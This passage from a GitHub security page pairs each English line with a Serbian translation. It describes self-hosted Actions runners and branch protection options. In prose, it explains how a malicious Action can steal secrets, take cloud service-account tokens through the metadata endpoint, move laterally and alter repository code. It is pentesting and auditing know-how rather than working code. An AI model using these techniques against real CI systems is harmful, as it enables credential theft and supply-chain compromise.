Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
Nekoliko organizacija će dozvoliti pokretanje Github akcija u **infrastrukturi treće strane** jer obično bude **jeftinije**.
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
Možete **navesti self-hosted trkače** organizacije na _https://github.com/organizations/\<org_name>/settings/actions/runners_
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
Način da saznate koje **Github akcije se izvršavaju u ne-github infrastrukturi** je da pretražujete `runs-on: self-hosted` u yaml konfiguraciji Github akcije.
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
**Nije moguće pokrenuti Github akciju organizacije unutar self-hosted okruženja** druge organizacije jer **se generiše jedinstveni token za trkača** prilikom njegove konfiguracije kako bi se znalo kojoj organizaciji trkač pripada.
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
Ako je prilagođeni **Github trkač konfiguran na mašini unutar AWS-a ili GCP-a**, akcija **može imati pristup metapodacima** i **ukrasti token servisnog naloga** sa kojim mašina radi.
### Git Action Compromise
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
Ako su sve akcije (ili zla akcija) dozvoljene, korisnik bi mogao koristiti **Github akciju** koja je **zla** i koja će **kompromitovati** **kontejner** u kojem se izvršava.
> [!CAUTION]
> A **malicious Github Action** run could be **abused** by the attacker to:
> **Zla Github akcija** može biti **zloupotrebljena** od strane napadača da:
>
> - **Steal all the secrets** the Action has access to
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
> - **Ukrade sve tajne** kojima akcija ima pristup
> - **Pomera se lateralno** ako se akcija izvršava unutar **infrastrukture treće strane** gde se može pristupiti SA tokenu koji se koristi za pokretanje mašine (verovatno putem usluge metapodataka)
> - **Zloupotrebi token** koji koristi **workflow** da **ukrade kod repozitorijuma** gde se akcija izvršava ili **čak da ga izmeni**.
## Branch Protections
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
Zaštite grana su dizajnirane da **ne daju potpunu kontrolu nad repozitorijumom** korisnicima. Cilj je **postaviti nekoliko metoda zaštite pre nego što se može pisati kod unutar neke grane**.
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
**Zaštite grana repozitorijuma** mogu se naći na _https://github.com/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
> **Nije moguće postaviti zaštitu grane na nivou organizacije**. Tako da sve one moraju biti deklarisane na svakom repozitorijumu.
Different protections can be applied to a branch (like to master):
Različite zaštite mogu se primeniti na granu (kao na master):
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
- **Restrict who can push to matching branches**. Restrict who can send a PR.
- Možete **zahtevati PR pre spajanja** (tako da ne možete direktno spojiti kod preko grane). Ako je ovo odabrano, različite druge zaštite mogu biti na snazi:
- **Zahtevati broj odobrenja**. Veoma je uobičajeno zahtevati 1 ili 2 osobe da odobre vaš PR tako da jedan korisnik ne može direktno spojiti kod.
- **Odbaciti odobrenja kada su novi commit-i poslati**. Ako ne, korisnik može odobriti legitiman kod, a zatim dodati zli kod i spojiti ga.
- **Zahtevati preglede od vlasnika koda**. Najmanje 1 vlasnik koda repozitorijuma treba da odobri PR (tako da "slučajni" korisnici ne mogu to odobriti)
- **Ograničiti ko može odbaciti preglede pull request-a.** Možete odrediti ljude ili timove koji su dozvoljeni da odbace preglede pull request-a.
- **Dozvoliti određenim akterima da zaobiđu zahteve pull request-a**. Ovi korisnici će moći da zaobiđu prethodne restrikcije.
- **Zahtevati da status provere prođe pre spajanja.** Neke provere moraju proći pre nego što se može spojiti commit (kao što je github akcija koja proverava da li nema tajni u čistom tekstu).
- **Zahtevati rešenje razgovora pre spajanja**. Svi komentari na kod moraju biti rešeni pre nego što se PR može spojiti.
- **Zahtevati potpisane commit-e**. Commit-i moraju biti potpisani.
- **Zahtevati linearnu istoriju.** Sprečava spajanje commit-a koji se šalju na odgovarajuće grane.
- **Uključiti administratore**. Ako ovo nije postavljeno, administratori mogu zaobići restrikcije.
- **Ograničiti ko može slati na odgovarajuće grane**. Ograničiti ko može poslati PR.
> [!NOTE]
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
> Kao što vidite, čak i ako ste uspeli da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master** na primer da kompromitujete CI/CD pipeline.
## References
@@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master):
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
{{#include ../../banners/hacktricks-training.md}}